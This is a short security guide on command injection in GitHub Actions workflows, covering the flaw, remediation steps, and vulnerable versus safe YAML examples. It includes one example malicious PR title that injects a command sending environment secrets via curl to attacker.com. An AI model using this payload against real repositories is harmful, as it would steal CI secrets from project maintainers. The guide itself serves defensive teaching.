zakirkun GitHub Actions Command Injection
Overview
GitHub Actions workflows that interpolate ${{ github.event.* }} values directly into run: steps are vulnerable to command injection. A malicious PR title, issue body, or commit message can break out of the shell command and execute arbitrary code in the CI environment, exfiltrating secrets.
Example malicious PR title: title"; env | curl -X POST attacker.com -d @-; echo "
Remediation
- Never use
${{ github.event.pull_request.title }}directly inrun:steps - Pass event data as environment variables then reference
$ENV_VARin shell - Use
github.sha,github.ref(safe) rather than user-supplied metadata
Vulnerable:
- run: echo "${{ github.event.issue.title }}"
Safe:
- env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "$ISSUE_TITLE"